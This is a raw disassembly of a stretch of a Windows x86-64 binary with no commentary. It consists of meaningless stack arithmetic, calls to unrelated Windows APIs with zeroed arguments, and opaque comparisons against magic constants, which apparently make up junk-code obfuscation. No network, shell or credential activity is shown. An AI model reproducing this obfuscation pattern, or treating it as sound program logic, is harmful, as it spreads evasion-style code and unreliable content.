mov word [rsp + 0x738], ax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcb]
sar eax, cl
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x730], ax
mov rax, qword [rsp + 0x33a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
and eax, ecx
mov rcx, qword [rsp + 0x3488]
mov byte [rcx], al
mov rax, qword [rsp + 0x33a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3280]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [rsp + 0x3458]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x33f0]
mov qword [rcx], rax
jmp 0x140009c2d
lea rax, [rsp + 0x1b6c]
mov qword [rsp + 0x34d8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0x33b0]
mov ecx, dword [rsp + 0x1b94]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1b5c], eax
mov rax, qword [rsp + 0x3288]
mov rcx, qword [rsp + 0x32f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3420], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x744]
add eax, ecx
mov word [rsp + 0x734], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x73c]
add eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
movsx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x34c8]
mov byte [rcx], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0x3488]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32e0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3280]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0x32c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xc5], al
mov rax, qword [rsp + 0x3390]
mov rcx, qword [rsp + 0x3478]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3390]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1b10]
add eax, 0xb8
mov dword [rsp + 0x1b10], eax
mov rax, qword [rsp + 0x3470]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x34d0]
sar rax, cl
mov qword [rsp + 0x3458], rax
movsx eax, word [rsp + 0x748]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
mov eax, dword [rsp + 0x1ad4]
mov ecx, dword [rsp + 0x1b14]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d8]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
movsx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x3358]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc6], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x73c]
and eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
movzx eax, word [rsp + 0x74c]
movzx ecx, word [rsp + 0x738]
sub eax, ecx
mov word [rsp + 0x734], ax
movsx eax, byte [section..data]
movsx ecx, byte [rsp + 0xc6]
add eax, ecx
mov rcx, qword [rsp + 0x34c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x738]
sub eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x32c0]
mov rcx, qword [rsp + 0x34d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0x3440]
mov rcx, qword [rsp + 0x34d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3458], rax
mov rax, qword [rsp + 0x3420]
mov rcx, qword [rsp + 0x3288]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x33c0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
nop
cmp dword [rsp + 0x1b10], 0xddd5
jbe 0x140009fef
mov eax, dword [rsp + 0x1b94]
mov ecx, dword [rsp + 0x1b5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x33b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3390]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b94]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1a3c]
mov edx, dword [rsp + 0x1b5c]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jbe 0x14000a39b
mov rax, qword [rsp + 0x3498]
mov rcx, qword [rsp + 0x3458]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3498]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3420]
mov rcx, qword [rsp + 0x32f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3288], rax
mov rcx, qword [rsp + 0x33e0]
call qword [sym.imp.USER32.dll_BringWindowToTop]
mov dword [rsp + 0x1bd8], eax
jmp 0x1400bad26
lea rax, [rsp + 0x1b6c]
mov qword [rsp + 0x34e0], rax
mov rax, qword [rsp + 0x32e0]
movzx eax, byte [rax]
mov byte [rsp + 0x1be4], al
cmp byte [rsp + 0x1be4], 0x4e
je 0x14000a3da
cmp byte [rsp + 0x1be4], 0xc4
je 0x14000a49a
jmp 0x14000a4b6
mov eax, dword [0x1400dd010]
mov ecx, dword [rsp + 0x1b5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3368]
mov qword [rsp + 0x34e8], rax
movabs rax, 0x5e7e18adbbe874f
cmp qword [rsp + 0x34e8], rax
je 0x14000a42f
movabs rax, 0x65bb8570dafa84ed
cmp qword [rsp + 0x34e8], rax
je 0x14000a46f
jmp 0x14000a498
movzx eax, word [rsp + 0x744]
movzx ecx, word [rsp + 0x734]
sub eax, ecx
mov word [rsp + 0x738], ax
movzx r8d, byte [rsp + 0xc7]
mov rax, qword [rsp + 0x3318]
movzx edx, word [rax]
mov rax, qword [rsp + 0x3478]
mov ecx, dword [rax]
call fcn.1400bc550
nop
jmp 0x14000a498
mov r9d, 0x25
mov r8d, 0xc5
mov rdx, qword [rsp + 0x34f0]
mov rcx, qword [rsp + 0x34f8]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x1bac], eax
jmp 0x14000a4b6
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x3408]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xc7], al
mov rax, qword [rsp + 0x33a8]
movzx eax, byte [rax]
mov byte [rsp + 0x1be8], al
cmp byte [rsp + 0x1be8], 0
je 0x14000a4e5
cmp byte [rsp + 0x1be8], 0xaa
je 0x14000a610
jmp 0x14000a719
mov rax, qword [rsp + 0x34d0]
mov rcx, qword [rsp + 0x33f0]
mov qword [rsp + 0x3500], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3500]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3470]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x3440]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x14000a568
mov rax, qword [rsp + 0x32e0]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x3280]
movzx r9d, byte [rax]
mov r8, qword [rsp + 0x3440]
mov rax, qword [rsp + 0x32c8]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x34d0]
call fcn.1400bb700
nop
mov eax, dword [0x1400dd010]
mov dword [rsp + 0x1bec], eax
cmp dword [rsp + 0x1bec], 0
je 0x14000a58e
cmp dword [rsp + 0x1bec], 0xf06bd5a7
je 0x14000a5ea
jmp 0x14000a60b
lea rax, [rsp + 0x740]
mov qword [rsp + 0x3508], rax
mov rax, qword [rsp + 0x34c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc6]
xor eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x3280]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x87], al
lea rax, [rsp + 0x1a3c]
mov qword [0x1400dded8], rax
jmp 0x14000a60b
mov rax, qword [rsp + 0x3498]
mov rcx, qword [rsp + 0x3440]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3498]
mov qword [rcx], rax
jmp 0x14000a719
movsx eax, word [rsp + 0x730]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3508]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x3318]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x14000a6fc
mov rax, qword [rsp + 0x32f8]
mov rcx, qword [rsp + 0x3420]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x33c0], rax
mov rax, qword [rsp + 0x3410]
movzx eax, word [rax]
mov dword [rsp + 0x1bf0], eax
cmp dword [rsp + 0x1bf0], 0x36
je 0x14000a6e0
cmp dword [rsp + 0x1bf0], 0x3a4
je 0x14000a68e
jmp 0x14000a6fc
lea r9, [rsp + 0x3390]
lea r8, [rsp + 0x3410]
mov rdx, qword [rsp + 0x34a8]
lea rcx, [rsp + 0x33e8]
call sub.VERSION.dll_VerQueryValueA
mov dword [rsp + 0x1b34], eax
movzx r8d, byte [rsp + 0x87]
mov rax, qword [rsp + 0x3278]
movzx edx, word [rax]
mov rax, qword [rsp + 0x3390]
mov ecx, dword [rax]
call fcn.1400bc550
nop
jmp 0x14000a6fc
mov rax, qword [rsp + 0x32f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b94]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b5c], eax
lea rdx, [rsp + 0x33f0]
mov rcx, qword [rsp + 0x32b8]
call qword [sym.imp.USER32.dll_ClientToScreen]
mov dword [rsp + 0x1b34], eax
cmp dword [rsp + 0x1ae0], 0xd490
ja 0x14000a8b7
mov eax, dword [rsp + 0x1b14]
mov ecx, dword [rsp + 0x1b6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1aa8], eax
movzx eax, word [rsp + 0x744]
movzx ecx, word [rsp + 0x734]
add eax, ecx
mov word [rsp + 0x738], ax
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
add eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
mov rax, qword [rsp + 0x3488]
movzx eax, byte [rax]
movzx ecx, byte [0x1400dded2]
sub eax, ecx
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0x34c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc9]
shl eax, cl
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
movzx eax, word [rsp + 0x744]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x74c], ax
movsx eax, word [rsp + 0x730]
mov rcx, qword [rsp + 0x32d0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1400dded0], ax
mov rax, qword [rsp + 0x3390]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a40]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3478]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov eax, dword [rsp + 0x1ae0]
add eax, 0x9b
mov dword [rsp + 0x1ae0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [rsp + 0x1b14]
mov ecx, dword [rsp + 0x1acc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x33f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3458]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x32c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc7], al
jmp 0x14000a719
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
movsx eax, byte [rsp + 0xcb]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc9], al
movsx eax, byte [rsp + 0xc9]
movsx ecx, byte [rsp + 0xca]
add eax, ecx
mov byte [rsp + 0xcb], al
mov rax, qword [rsp + 0x3410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x33a0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3410]
mov word [rcx], ax
mov eax, dword [rsp + 0x1b74]
add eax, 0x6b
mov dword [rsp + 0x1b74], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movsx eax, word [rsp + 0x73c]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x730], ax
mov rax, qword [rsp + 0x3390]
mov rcx, qword [rsp + 0x32f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x1400dded8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [rsp + 0x3470]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x33f0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1b14]
mov ecx, dword [rsp + 0x1b3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x34c8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3508]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
movzx eax, word [rsp + 0x734]
movzx ecx, word [0x1400dd004]
xor eax, ecx
mov rcx, qword [rsp + 0x3410]
mov word [rcx], ax
mov rax, qword [rsp + 0x3438]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc7]
or eax, ecx
mov byte [rsp + 0x87], al
movsx eax, word [rsp + 0x740]
movsx ecx, word [0x1400dded0]
and eax, ecx
mov rcx, qword [rsp + 0x3508]
mov word [rcx], ax
mov rax, qword [rsp + 0x3408]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x33a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3390]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a70]
add ecx, eax
mov eax, ecx
mov dword [0x1400dd010], eax
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [rsp + 0x3458]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3440], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0x32f8]
mov rcx, qword [rsp + 0x3288]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x33c0], rax
mov rax, qword [rsp + 0x34d8]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1b3c], eax
movsx eax, byte [rsp + 0xc9]
movsx ecx, byte [rsp + 0xcb]
sub eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x3358]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x34c8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
mov rax, qword [rsp + 0x3410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x33a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x74c], ax
movsx eax, word [rsp + 0x740]
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x730], ax
mov rax, qword [rsp + 0x3438]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32e0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xc7], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0x3478]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x33b0]
mov qword [rsp + 0x3510], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x1400dded8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov eax, dword [rsp + 0x1b6c]
mov ecx, dword [rsp + 0x1acc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x34c8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
mov eax, dword [rsp + 0x1a70]
mov ecx, dword [rsp + 0x1a48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b94], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [rsp + 0x3498]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3470]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movsx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0x3408]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x87], al
cmp dword [rsp + 0x1b74], 0xb89b
jb 0x14000a8b7
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
mov dword [rsp + 0x1bf4], eax
cmp dword [rsp + 0x1bf4], 0
je 0x14000ad9c
cmp dword [rsp + 0x1bf4], 0xee1
je 0x14000ad3f
jmp 0x14000ae4e
mov rax, qword [rsp + 0x3508]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
add eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
movzx eax, byte [rsp + 0x87]
mov byte [rsp + 0x20], al
movzx r9d, byte [0x1400dded2]
mov r8, qword [rsp + 0x3458]
mov rax, qword [rsp + 0x32c8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x3498]
mov rcx, qword [rax]
call fcn.1400bb700
nop
jmp 0x14000ae4e
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
nop
mov rax, qword [rsp + 0x32f0]
mov eax, dword [rax]
mov dword [rsp + 0x1bf8], eax
cmp dword [rsp + 0x1bf8], 0
je 0x14000add1
cmp dword [rsp + 0x1bf8], 0xa70c46ed
je 0x14000ae11
jmp 0x14000ae4e
mov eax, dword [rsp + 0x1b3c]
mov dword [0x1400ddee0], eax
movzx eax, byte [rsp + 0xc7]
movzx ecx, byte [0x1400dded2]
sub eax, ecx
mov byte [rsp + 0xc8], al
mov eax, dword [rsp + 0x1a70]
mov ecx, dword [rsp + 0x1a3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a40], eax
jmp 0x14000ae4e
mov rax, qword [rsp + 0x3458]
mov rcx, qword [rsp + 0x3440]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x34d0], rax
mov rax, qword [rsp + 0x34c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xca]
shl eax, cl
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
mov rax, qword [rsp + 0x3478]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a48]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x1400dded8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1a40]
or edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x14000afa8
movzx eax, byte [rsp + 0xc7]
mov byte [rsp + 0x1bfc], al
cmp byte [rsp + 0x1bfc], 0xc5
je 0x14000ae9d
jmp 0x14000afa3
lea rcx, [rsp + 0xe070]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
mov dword [rsp + 0x1b28], eax
mov eax, dword [rsp + 0x1b14]
mov ecx, dword [rsp + 0x1acc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1aa8], eax
mov eax, dword [rsp + 0x1a48]
mov dword [rsp + 0x1c00], eax
cmp dword [rsp + 0x1c00], 0x43c9ae8c
je 0x14000aefc
mov rax, qword [rsp + 0x32c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov rcx, qword [rsp + 0x32c8]
mov byte [rcx], al
mov rax, qword [0x1400dded8]
mov eax, dword [rax]
mov dword [rsp + 0x1c04], eax
cmp dword [rsp + 0x1c04], 0x7d8cbad4
je 0x14000afe9
jmp 0x14000b106
mov rax, qword [rsp + 0x3410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x33a0]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x734]
movzx edx, word [rsp + 0x738]
add ecx, edx
cmp eax, ecx
jle 0x14000b0a6
movzx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x33a8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xc7], al
movsx eax, word [rsp + 0x748]
movsx ecx, word [rsp + 0x73c]
shl eax, cl
movsx ecx, word [rsp + 0x740]
mov rdx, qword [rsp + 0x32d0]
movsx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jg 0x1400bae4e
movzx eax, byte [rsp + 0xc6]
mov byte [rsp + 0x2e34], al
cmp byte [rsp + 0x2e34], 0xf
je 0x1400bad9d
cmp byte [rsp + 0x2e34], 0x37
je 0x1400bae18
jmp 0x1400bae4e
mov rax, qword [rsp + 0x3410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x33a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3410]
mov word [rcx], ax
mov rdx, qword [rsp + 0x34c0]
mov rcx, qword [rsp + 0x3290]
call qword [sym.imp.USER32.dll_SetMenu]
mov dword [rsp + 0x1be0], eax
movsx eax, word [rsp + 0x748]
movsx ecx, word [rsp + 0x73c]
sub eax, ecx
mov word [rsp + 0x730], ax
mov rax, qword [rsp + 0x34c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc6]
and eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
jmp 0x1400bae4e
movzx eax, byte [rsp + 0xc7]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0xc8]
mov rax, qword [rsp + 0x33f0]
mov r8, qword [rax]
movzx edx, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x3368]
call fcn.1400bb700
nop
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x740], ax
lea rdx, [rsp + 0x744]
mov rcx, qword [rsp + 0x32a8]
call qword [sym.imp.USER32.dll_MapDialogRect]
mov dword [rsp + 0x1c70], eax
movsx eax, byte [rsp + 0xbd]
movsx ecx, byte [rsp + 0x8d]
sub eax, ecx
mov byte [rsp + 0xcb], al
mov rdx, qword [rsp + 0x33e8]
mov ecx, 0xc4
call qword [sym.imp.USER32.dll_SetClipboardData]
mov qword [rsp + 0x3568], rax
movsx eax, word [rsp + 0x748]
mov rcx, qword [rsp + 0x32d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x73c], ax
movsx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
mov r9d, 0xac
mov r8d, 0x9e
lea rdx, str.singularity_purlieus
mov rcx, qword [rsp + 0x32b8]
call qword [sym.imp.USER32.dll_WinHelpA]
mov dword [rsp + 0x1bd8], eax
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x734]
shl eax, cl
mov word [rsp + 0x738], ax
lea rcx, [rsp + 0x1b14]
call qword [sym.imp.USER32.dll_ClipCursor]
mov dword [rsp + 0x1bb4], eax
mov rax, qword [rsp + 0x32c0]
mov eax, dword [rax]
mov dword [rsp + 0x1acc], eax
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1938]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1b5c]
mov ecx, dword [rsp + 0x1a48]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x33b0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1a70]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x1400bb038
mov rax, qword [rsp + 0x33b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a40], eax
mov dword [rsp + 0x20], 0
mov r9d, 0x92
mov r8d, 0x96
mov edx, 0x3f
mov rcx, qword [rsp + 0x32b8]
call qword [sym.imp.USER32.dll_SetScrollRange]
mov dword [rsp + 0x1a38], eax
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0xc8]
mov rax, qword [rsp + 0x33f0]
mov r8, qword [rax]
mov rax, qword [rsp + 0x32e0]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x3368]
call fcn.1400bb700
nop
movzx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0x32e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3408]
mov byte [rcx], al
mov rax, qword [rsp + 0x3410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x33a0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x738], ax
lea rcx, [rsp + 0xdd70]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgA]
mov dword [rsp + 0x1b34], eax
mov rax, qword [rsp + 0x3358]
movsx eax, byte [rax]
